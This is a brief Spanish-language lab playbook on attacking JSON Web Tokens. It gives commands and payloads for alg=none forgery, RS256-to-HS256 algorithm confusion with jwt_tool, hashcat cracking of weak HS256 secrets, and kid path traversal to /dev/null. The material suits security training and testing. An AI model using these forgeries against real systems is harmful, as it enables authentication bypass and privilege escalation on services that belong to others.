Labs de JWT

Playbook práctico — del recon a la prueba de concepto.

1. 1

   Decodificar el token

   Separa los tres segmentos y decodifica header y payload en base64url. Mira el algoritmo, el campo kid y claims como role o user_id.

   echo $JWT | cut -d. -f1 | base64 -d   →   {"alg":"RS256","kid":"1"}

2. 2

   Probar alg=none

   Cambia el algoritmo a none, edita el payload (p. ej. role=admin) y manda el token sin firma. Librerías vulnerables lo aceptan.

   header {"alg":"none","typ":"JWT"}  ·  payload {"user":"admin"}  ·  firma vacía: header.payload.

3. 3

   Algorithm confusion RS256→HS256

   Si conoces la clave pública RSA, firma un token HS256 usándola como secreto HMAC. El server que verifica con la pública lo da por válido.

   jwt_tool $JWT -X k -pk public.pem   (confusion attack)

4. 4

   Crackear secretos HS256 débiles

   Vuelca el JWT a hashcat y prueba un diccionario. Un secreto crackeado te deja firmar cualquier token.

   hashcat -a 0 -m 16500 jwt.txt rockyou.txt

5. 5

   Inyectar kid/jku

   Manipula kid para apuntar a un fichero de clave conocida (/dev/null → secreto vacío) o jku/x5u a un JWKS que tú alojas.

   {"alg":"HS256","kid":"../../../../dev/null"}  →  firma con secreto vacío